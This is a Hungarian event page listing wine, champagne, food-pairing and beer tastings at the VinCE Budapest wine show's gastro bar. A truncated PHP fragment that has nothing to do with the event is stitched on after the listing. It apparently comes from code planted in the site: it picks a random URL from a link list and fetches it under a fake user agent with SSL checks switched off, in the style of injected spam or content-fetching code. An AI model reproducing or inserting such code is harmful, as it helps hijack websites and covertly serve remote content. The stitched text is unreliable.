VinCE Arcoroc Gastro Bár


image001
Champagne Lanson, az egyik legrégebbi Champagne-ház

Előadó: Olivier de La Giraudière külkereskedelmi igazgató

  • Lanson Black Label Brut NV
  • Lanson Rosé Label Brut NV
  • Lanson Extra Age Brut Mutlivintage
  • Lanson Gold Label Brut, 2008

 

Vulkánok borai – borvidéki barangolások

Előadó: Kielmayer Kristian az Országos Borszakértő Bizottság tagjával

  • Tornai, Top Selection Aranyhegy Juhfark 2013 (Somló)
  • Szászi Endre, Rózsakő 2012 (Badacsony)
  • Nyári Ödön, Kéknyelű 2011 (Badacsony)
  • Béres, Lőcse Furmint 2009 (Tokaj)
  • Fanni Kertje, 5 puttonyos aszú, 2001 (Tokaj)
  • Erzsébet Pince, 6 puttonyos aszú, 2010 (Tokaj)

 

A Calter Grill&Bor menüsora

Előadók: Fejszák Tamás, a Catler chefje és Laczkó Gábor, a Törley főborásza

  • A Calter Grill&Bor menüsora
    • Grillezett hal (fekete tőkehal, makréla) karalábépürével, és párolt karfiollal toast kenyéren – Törley Chardonnay brut pezsgő
    • Grillezett zöldspárga olvasztott mozzarellával, körtés szőlős citrusos gyümölcspürével – György-Villa Etyek-budai Zenit 2015
    • Párolt bárányszelet ribizlis meggyturmixszal – György-Villa Villányi Cabernet Sauvignon 2013
    • Feketeerdő sonka ruccoklával és balzsamecet krémmel – György-Villa Villányi Merlot 2009

Bővebb információ >>

 

Sör mi több

Előadó: Vásárhelyi István sörgasztronómus és Schillinger Attila, a Magyar Sörgyártók Szövetségének igazgatója

Idén első ízben vesz részt a VinCE Budapest Wine Show-n a Magyar Sörgyártók Szövetsége, a sétálókóstoló lesz a 2016-os, „Sör mi több” eseménysorozatának nyitó helyszíne. A látogatókat minden nap 15 órától egy sörös órára invitálják a VinCE Arcoroc Gastro Bárba, ahol Vásárhelyi István sörgasztronómus kalauzolásával kirándulást tehetnek a sör világában. A csütörtöki, szakmai napon a vállalkozó kedvű résztvevők megtudhatják, hogyan kell a sört szakszerűen megízlelni (hőmérséklet, illatok, ízek, pohárformák), valamint ismerkedhetnek az alapanyagokkal és a különböző sörtípusokkal. A vendégek pénteken és szombaton gasztronómiai fogásokat próbálhatnak ki, tökéletesen harmonizáló sörökkel. A párok között nem csak zamatos húsos kóstoló, hanem desszertek, sajtok és saláták is felbukkannak. A rendhagyó társításokkal szeretnének kedvet csinálni a teszteléshez, keresgéléshez, hiszen minden étel mellé megtalálhatjuk, az ízeket remekül kiegészítő sörpárt.

Bővebb információ >>

 


html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>